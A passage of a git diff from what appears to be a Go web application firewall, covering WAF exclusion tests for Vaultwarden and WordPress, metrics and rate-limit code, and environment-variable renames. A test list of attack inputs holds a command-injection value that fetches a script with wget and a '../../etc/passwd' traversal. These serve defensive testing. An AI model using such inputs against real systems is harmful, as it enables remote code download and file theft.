crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"vaultwarden"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// An address for the data breach report, which only Vaultwarden's fixes
|
|
||||||
// let through.
|
|
||||||
report := get(vaultwardenBreachReport + "python3%40example.com")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||||
// request that sends it, and its body, with VALUE where the field's value
|
// request that sends it, and its body, with VALUE where the field's value
|
||||||
// goes.
|
// goes.
|
||||||
@@ -313,7 +294,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
var vaultwardenAttacks = []string{
|
var vaultwardenAttacks = []string{
|
||||||
injection,
|
injection,
|
||||||
scriptTag,
|
scriptTag,
|
||||||
shellCommand,
|
"; wget http://example.com/x.sh",
|
||||||
"../../etc/passwd",
|
"../../etc/passwd",
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -456,11 +437,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
|||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||||
if len(body) > bodyInspectionSize {
|
if len(body) > bodyLimit {
|
||||||
t.Fatalf(
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
"a body of %d bytes is cut at bodyInspectionSize",
|
|
||||||
len(body),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||||
|
|||||||
@@ -1,16 +1,9 @@
|
|||||||
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
# The ninth change: on WordPress's paths, some fields skip the rules that refused
|
||||||
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
|
||||||
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_wordpress itself.
|
|
||||||
SecRule &TX:app_wordpress "@eq 0" \
|
|
||||||
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
|
|
||||||
|
|
||||||
# WordPress takes a call to its REST API at any of four addresses:
|
# WordPress takes a call to its REST API at any of four addresses:
|
||||||
# /wp-json/wp/v2/posts/1
|
# /wp-json/wp/v2/posts/1
|
||||||
@@ -322,5 +315,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
|
|||||||
# so skips 932340 there.
|
# so skips 932340 there.
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
||||||
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
||||||
|
|
||||||
SecMarker END_WORDPRESS
|
|
||||||
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
|
|||||||
// FileParams are what OpenFile needs.
|
// FileParams are what OpenFile needs.
|
||||||
type FileParams struct {
|
type FileParams struct {
|
||||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||||
// (SWW_WAF_LOOKUP_DB_PATH).
|
// (SWW_LOOKUP_DB_PATH).
|
||||||
Path string
|
Path string
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
@@ -231,16 +231,13 @@ func (f *File) use(reader *maxminddb.Reader) {
|
|||||||
func read(path string) (*maxminddb.Reader, error) {
|
func read(path string) (*maxminddb.Reader, error) {
|
||||||
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf(
|
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
|
||||||
"SWW_WAF_LOOKUP_DB_PATH cannot be read: %w",
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
reader, err := maxminddb.OpenBytes(data)
|
reader, err := maxminddb.OpenBytes(data)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf(
|
return nil, fmt.Errorf(
|
||||||
"SWW_WAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
|
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
|
||||||
path,
|
path,
|
||||||
err,
|
err,
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -115,9 +115,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
|||||||
writeFile(t, notDatabase, "not a lookup database\n")
|
writeFile(t, notDatabase, "not a lookup database\n")
|
||||||
|
|
||||||
for path, want := range map[string]string{
|
for path, want := range map[string]string{
|
||||||
missing: "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + missing +
|
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||||
": no such file or directory",
|
": no such file or directory",
|
||||||
notDatabase: "SWW_WAF_LOOKUP_DB_PATH " + notDatabase +
|
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
|
||||||
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
||||||
} {
|
} {
|
||||||
_, err := OpenFile(FileParams{
|
_, err := OpenFile(FileParams{
|
||||||
@@ -244,7 +244,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
|
|||||||
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
||||||
Detail: map[string]any{
|
Detail: map[string]any{
|
||||||
"file": path,
|
"file": path,
|
||||||
"error": "SWW_WAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||||
"error opening database: invalid MaxMind DB file",
|
"error opening database: invalid MaxMind DB file",
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
// Package lookup looks up each client's AS number and country, through
|
// Package lookup looks up each client's AS number and country, through
|
||||||
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
||||||
// SWW_WAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||||
// most 100,000 clients and for 7 days each, and are written to
|
// most 100,000 clients and for 7 days each, and are written to
|
||||||
// lookups.json and read from it by the state package.
|
// lookups.json and read from it by the state package.
|
||||||
package lookup
|
package lookup
|
||||||
@@ -66,7 +66,7 @@ type Params struct {
|
|||||||
URL string
|
URL string
|
||||||
// Timeout is how long a request waits for its client's first answer,
|
// Timeout is how long a request waits for its client's first answer,
|
||||||
// and how long a request to GeoJS may take before it is abandoned
|
// and how long a request to GeoJS may take before it is abandoned
|
||||||
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS).
|
// (SWW_LOOKUP_TIMEOUT).
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// Wait is true when a setting needs each request's answer before the
|
// Wait is true when a setting needs each request's answer before the
|
||||||
// request goes on. Otherwise no request waits for one.
|
// request goes on. Otherwise no request waits for one.
|
||||||
|
|||||||
+18
-20
@@ -13,15 +13,14 @@ const other = "other"
|
|||||||
|
|
||||||
// busiest are the metrics by one thing the lookup finds of the client,
|
// busiest are the metrics by one thing the lookup finds of the client,
|
||||||
// its country or its AS number, for requests whose client's is known.
|
// its country or its AS number, for requests whose client's is known.
|
||||||
// The busiestCount busiest countries or AS numbers, by their requests
|
// The topN busiest countries or AS numbers, by their requests since the
|
||||||
// since the start, have series of their own, and the others are counted
|
// start, have series of their own, and the others are counted under
|
||||||
// under other, so that there are never more than busiestCount + 1 series.
|
// other, so that there are never more than topN + 1 series. One that
|
||||||
// One that drops out of the busiest loses its series, and its next
|
// drops out of the busiest loses its series, and its next requests are
|
||||||
// requests are counted under other; one that becomes one of them gets a
|
// counted under other; one that becomes one of them gets a series that
|
||||||
// series that counts from then on. Each series therefore only ever goes
|
// counts from then on. Each series therefore only ever goes up.
|
||||||
// up.
|
|
||||||
type busiest struct {
|
type busiest struct {
|
||||||
busiestCount int
|
topN int
|
||||||
|
|
||||||
requests *prometheus.CounterVec
|
requests *prometheus.CounterVec
|
||||||
requestBytes *prometheus.CounterVec
|
requestBytes *prometheus.CounterVec
|
||||||
@@ -39,12 +38,12 @@ type busiest struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newCountries returns the metrics by country, with series of their own
|
// newCountries returns the metrics by country, with series of their own
|
||||||
// for the busiestCount busiest countries.
|
// for the topN busiest countries.
|
||||||
func newCountries(busiestCount int) *busiest {
|
func newCountries(topN int) *busiest {
|
||||||
countries := newBusiest(busiestCount, "country", "the client's country")
|
countries := newBusiest(topN, "country", "the client's country")
|
||||||
countries.refused = counterVec(
|
countries.refused = counterVec(
|
||||||
"sww_country_list_refusals_total",
|
"sww_country_list_refusals_total",
|
||||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||||
[]string{"country"},
|
[]string{"country"},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newASNs returns the metrics by AS number, with series of their own for
|
// newASNs returns the metrics by AS number, with series of their own for
|
||||||
// the busiestCount busiest AS numbers.
|
// the topN busiest AS numbers.
|
||||||
func newASNs(busiestCount int) *busiest {
|
func newASNs(topN int) *busiest {
|
||||||
return newBusiest(busiestCount, "asn", "the client's AS number")
|
return newBusiest(topN, "asn", "the client's AS number")
|
||||||
}
|
}
|
||||||
|
|
||||||
// newBusiest returns the metrics by label, which is described as
|
// newBusiest returns the metrics by label, which is described as
|
||||||
// description, with series of their own for the busiestCount busiest
|
// description, with series of their own for the topN busiest values.
|
||||||
// values.
|
func newBusiest(topN int, label, description string) *busiest {
|
||||||
func newBusiest(busiestCount int, label, description string) *busiest {
|
|
||||||
by := []string{label}
|
by := []string{label}
|
||||||
|
|
||||||
return &busiest{
|
return &busiest{
|
||||||
busiestCount: busiestCount,
|
topN: topN,
|
||||||
requests: counterVec("sww_"+label+"_requests_total",
|
requests: counterVec("sww_"+label+"_requests_total",
|
||||||
"Requests, by "+description+".", by),
|
"Requests, by "+description+".", by),
|
||||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||||
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
|
|||||||
return value
|
return value
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(b.top) < b.busiestCount {
|
if len(b.top) < b.topN {
|
||||||
b.top[value] = true
|
b.top[value] = true
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
+16
-16
@@ -61,12 +61,12 @@ type Metrics struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// New returns the metrics, with the Go runtime's and the process's own.
|
// New returns the metrics, with the Go runtime's and the process's own.
|
||||||
// busiestCount is how many countries and how many AS numbers get series of
|
// topN is how many countries and how many AS numbers get series of their
|
||||||
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
|
// own (SWW_METRICS_TOP_N). Every metric carries instanceName
|
||||||
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
|
// (SWW_INSTANCE_NAME) as its label instance.
|
||||||
//
|
//
|
||||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||||
func New(busiestCount int, instanceName string) *Metrics {
|
func New(topN int, instanceName string) *Metrics {
|
||||||
byStatus := []string{"status_class", "action"}
|
byStatus := []string{"status_class", "action"}
|
||||||
byFile := []string{"file"}
|
byFile := []string{"file"}
|
||||||
registry := prometheus.NewRegistry()
|
registry := prometheus.NewRegistry()
|
||||||
@@ -102,7 +102,7 @@ func New(busiestCount int, instanceName string) *Metrics {
|
|||||||
}),
|
}),
|
||||||
rateLimitHits: counterVec(
|
rateLimitHits: counterVec(
|
||||||
"sww_rate_limit_hits_total",
|
"sww_rate_limit_hits_total",
|
||||||
"Requests that broke a rate limit, a byte limit or the refusal limit, by "+
|
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
||||||
"its window and its kind, requests, bytes or refusals.",
|
"its window and its kind, requests, bytes or refusals.",
|
||||||
[]string{"window", "kind"},
|
[]string{"window", "kind"},
|
||||||
),
|
),
|
||||||
@@ -110,12 +110,12 @@ func New(busiestCount int, instanceName string) *Metrics {
|
|||||||
"Offences, by kind.", []string{"kind"}),
|
"Offences, by kind.", []string{"kind"}),
|
||||||
coreRuleSetMatches: counterVec(
|
coreRuleSetMatches: counterVec(
|
||||||
"sww_core_rule_set_matches_total",
|
"sww_core_rule_set_matches_total",
|
||||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_CORE_RULE_SET_MODE "+
|
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
||||||
"and the rule's id.",
|
"and the rule's id.",
|
||||||
[]string{"mode", "rule_id"},
|
[]string{"mode", "rule_id"},
|
||||||
),
|
),
|
||||||
countries: newCountries(busiestCount),
|
countries: newCountries(topN),
|
||||||
asns: newASNs(busiestCount),
|
asns: newASNs(topN),
|
||||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||||
Name: "sww_geojs_requests_total",
|
Name: "sww_geojs_requests_total",
|
||||||
Help: "Requests to GeoJS.",
|
Help: "Requests to GeoJS.",
|
||||||
@@ -245,13 +245,13 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// AddRemoteLog adds the metrics of sending the log lines to
|
// AddRemoteLog adds the metrics of sending the log lines to
|
||||||
// SWW_WAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
||||||
// lines sent, those dropped, and those waiting in the buffer.
|
// lines sent, those dropped, and those waiting in the buffer.
|
||||||
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_remote_log_lines_sent_total",
|
Name: "sww_remote_log_lines_sent_total",
|
||||||
Help: "Log lines sent to SWW_WAF_LOG_REMOTE_URL.",
|
Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(remote.Sent())
|
return float64(remote.Sent())
|
||||||
}),
|
}),
|
||||||
@@ -361,7 +361,7 @@ func (m *Metrics) AddReputation(
|
|||||||
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
||||||
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
||||||
// that failed, and how many checks the day's budget has left. It is
|
// that failed, and how many checks the day's budget has left. It is
|
||||||
// called once, after AddReputation, while SWW_WAF_ABUSEIPDB_KEY is set.
|
// called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
|
||||||
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
||||||
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
||||||
|
|
||||||
@@ -370,7 +370,7 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
|||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "sww_reputation_daily_budget_remaining",
|
Name: "sww_reputation_daily_budget_remaining",
|
||||||
Help: "Checks of the day's SWW_WAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
||||||
ConstLabels: source,
|
ConstLabels: source,
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(abuseIPDB.BudgetLeft())
|
return float64(abuseIPDB.BudgetLeft())
|
||||||
@@ -411,8 +411,8 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
|
|||||||
}),
|
}),
|
||||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_alerts_suppressed_total",
|
Name: "sww_alerts_suppressed_total",
|
||||||
Help: "Alerts held back: repeats within SWW_WAF_ALERT_COOLDOWN, and " +
|
Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
|
||||||
"alerts past SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
||||||
ConstLabels: destination,
|
ConstLabels: destination,
|
||||||
}, func() float64 {
|
}, func() float64 {
|
||||||
return float64(queue.Suppressed())
|
return float64(queue.Suppressed())
|
||||||
@@ -465,7 +465,7 @@ func (m *Metrics) RequestReported(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// LimitHit counts a request that broke a rate limit, a byte limit or the
|
// LimitHit counts a request that broke a rate limit, a byte limit or the
|
||||||
// refusal limit, by the window and the kind of hit.
|
// error burst, by the window and the kind of hit.
|
||||||
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
|
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
|
||||||
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
|
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
|
||||||
}
|
}
|
||||||
@@ -493,7 +493,7 @@ func (m *Metrics) RuleMatched(id, action string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
|
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
|
||||||
// with SWW_WAF_CORE_RULE_SET_MODE at mode.
|
// with SWW_WAF_MODE at mode.
|
||||||
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
||||||
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// and bytes counted over a minute, an hour and a day, as the "Counting
|
// and bytes counted over a minute, an hour and a day, as the "Counting
|
||||||
// method" section of SPEC.md describes, which tell when a request takes
|
// method" section of SPEC.md describes, which tell when a request takes
|
||||||
// the client over a rate limit or a byte limit, and each client's history
|
// the client over a rate limit or a byte limit, and each client's history
|
||||||
// since it was first seen. At most SWW_WAF_MAX_TRACKED_CLIENTS clients are
|
// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
|
||||||
// kept, in memory, and written to clients.json and read from it by the
|
// kept, in memory, and written to clients.json and read from it by the
|
||||||
// state package.
|
// state package.
|
||||||
package ratelimit
|
package ratelimit
|
||||||
@@ -25,7 +25,7 @@ const (
|
|||||||
KindRequests = "requests"
|
KindRequests = "requests"
|
||||||
// KindBytes is a byte limit, on a client's bytes.
|
// KindBytes is a byte limit, on a client's bytes.
|
||||||
KindBytes = "bytes"
|
KindBytes = "bytes"
|
||||||
// KindRefusals is the refusal limit, on a client's requests sww
|
// KindRefusals is the error burst, on a client's requests sww
|
||||||
// refused after a rule file match or for a missing or wrong token.
|
// refused after a rule file match or for a missing or wrong token.
|
||||||
KindRefusals = "refusals"
|
KindRefusals = "refusals"
|
||||||
)
|
)
|
||||||
@@ -54,7 +54,7 @@ type Limiter struct {
|
|||||||
|
|
||||||
// Client is a client in the table, as clients.json holds it: its buckets
|
// Client is a client in the table, as clients.json holds it: its buckets
|
||||||
// of requests and of bytes in each window, its buckets of refusals in the
|
// of requests and of bytes in each window, its buckets of refusals in the
|
||||||
// minute, which the refusal limit counts, and its history.
|
// minute, which the error burst counts, and its history.
|
||||||
//
|
//
|
||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||||
type Client struct {
|
type Client struct {
|
||||||
@@ -121,7 +121,7 @@ type Responses struct {
|
|||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||||
type Offences struct {
|
type Offences struct {
|
||||||
// Limit is its requests that broke a rate limit, a byte limit or the
|
// Limit is its requests that broke a rate limit, a byte limit or the
|
||||||
// refusal limit, Attack those that were a clear sign of attack, a match
|
// error burst, Attack those that were a clear sign of attack, a match
|
||||||
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
|
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
|
||||||
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
|
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
|
||||||
// refused.
|
// refused.
|
||||||
@@ -147,7 +147,7 @@ type Request struct {
|
|||||||
RequestBytes int64
|
RequestBytes int64
|
||||||
ResponseBytes int64
|
ResponseBytes int64
|
||||||
// BrokeLimit is true for a request that broke a rate limit, a byte
|
// BrokeLimit is true for a request that broke a rate limit, a byte
|
||||||
// limit or the refusal limit, Attack for one that matched a ban rule or
|
// limit or the error burst, Attack for one that matched a ban rule or
|
||||||
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
|
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
|
||||||
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
|
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
|
||||||
BrokeLimit bool
|
BrokeLimit bool
|
||||||
@@ -157,7 +157,7 @@ type Request struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// New returns a Limiter for limits, with no client counted yet, whose
|
// New returns a Limiter for limits, with no client counted yet, whose
|
||||||
// table holds at most maxClients clients (SWW_WAF_MAX_TRACKED_CLIENTS). Past
|
// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
|
||||||
// it, the least recently seen client is dropped, with its history, and
|
// it, the least recently seen client is dropped, with its history, and
|
||||||
// starts afresh if it comes back.
|
// starts afresh if it comes back.
|
||||||
func New(limits Limits, maxClients int) *Limiter {
|
func New(limits Limits, maxClients int) *Limiter {
|
||||||
@@ -185,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Hit is a request that takes a client over a rate limit or the refusal
|
// Hit is a request that takes a client over a rate limit or the error
|
||||||
// limit, or whose bytes take it over a byte limit.
|
// burst, or whose bytes take it over a byte limit.
|
||||||
type Hit struct {
|
type Hit struct {
|
||||||
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
||||||
// KindRefusals for the refusal limit.
|
// KindRefusals for the error burst.
|
||||||
Kind string
|
Kind string
|
||||||
// Window is "minute", "hour" or "day".
|
// Window is "minute", "hour" or "day".
|
||||||
Window string
|
Window string
|
||||||
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
|
|||||||
// CountRefusal counts a request from client at now that sww
|
// CountRefusal counts a request from client at now that sww
|
||||||
// refused after a rule file or Core Rule Set match or for a missing or
|
// refused after a rule file or Core Rule Set match or for a missing or
|
||||||
// wrong token, and reports whether the client's refusals in the minute
|
// wrong token, and reports whether the client's refusals in the minute
|
||||||
// that ends at now, this one included, are more than limit, which breaks
|
// that ends at now, this one included, are more than threshold, which
|
||||||
// the refusal limit, and the hit.
|
// breaks the error burst, and the hit.
|
||||||
func (l *Limiter) CountRefusal(
|
func (l *Limiter) CountRefusal(
|
||||||
client netip.Prefix, now time.Time, limit int64,
|
client netip.Prefix, now time.Time, threshold int64,
|
||||||
) (Hit, bool) {
|
) (Hit, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
|
|||||||
hit := Hit{
|
hit := Hit{
|
||||||
Kind: KindRefusals,
|
Kind: KindRefusals,
|
||||||
Window: "minute",
|
Window: "minute",
|
||||||
Limit: limit,
|
Limit: threshold,
|
||||||
Count: count,
|
Count: count,
|
||||||
}
|
}
|
||||||
|
|
||||||
return hit, count > float64(limit)
|
return hit, count > float64(threshold)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
// Reset sets client's counts of requests, of bytes and of refusals in
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
const limit = 3
|
const limit = 3
|
||||||
|
|
||||||
// tableSize is the most clients the tests' tables hold, the default of
|
// tableSize is the most clients the tests' tables hold, the default of
|
||||||
// SWW_WAF_MAX_TRACKED_CLIENTS.
|
// SWW_MAX_TRACKED_CLIENTS.
|
||||||
const tableSize = 20000
|
const tableSize = 20000
|
||||||
|
|
||||||
// whole is the percentage of each limit a client gets when nothing lowers
|
// whole is the percentage of each limit a client gets when nothing lowers
|
||||||
@@ -351,9 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
|||||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||||
@@ -363,7 +361,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
|||||||
for range limit {
|
for range limit {
|
||||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||||
t.Fatalf(
|
t.Fatalf(
|
||||||
"a refusal within the limit of %d broke the refusal limit",
|
"a refusal within the threshold of %d broke the error burst",
|
||||||
limit,
|
limit,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -376,7 +374,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
|||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"one over the limit broke it: %t, with %+v; want %+v",
|
"one over the threshold broke it: %t, with %+v; want %+v",
|
||||||
over,
|
over,
|
||||||
hit,
|
hit,
|
||||||
want,
|
want,
|
||||||
@@ -384,7 +382,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Half a minute into the next, half of those four still count, 2, and
|
// Half a minute into the next, half of those four still count, 2, and
|
||||||
// this one: 3, within the limit.
|
// this one: 3, within the threshold.
|
||||||
hit, over = limiter.CountRefusal(
|
hit, over = limiter.CountRefusal(
|
||||||
client,
|
client,
|
||||||
start.Add(time.Minute+time.Minute/2),
|
start.Add(time.Minute+time.Minute/2),
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
// Package remotelog sends the lines sww writes on stdout to the
|
// Package remotelog sends the lines sww writes on stdout to the
|
||||||
// remote log endpoint, SWW_WAF_LOG_REMOTE_URL, as the "Request log" section
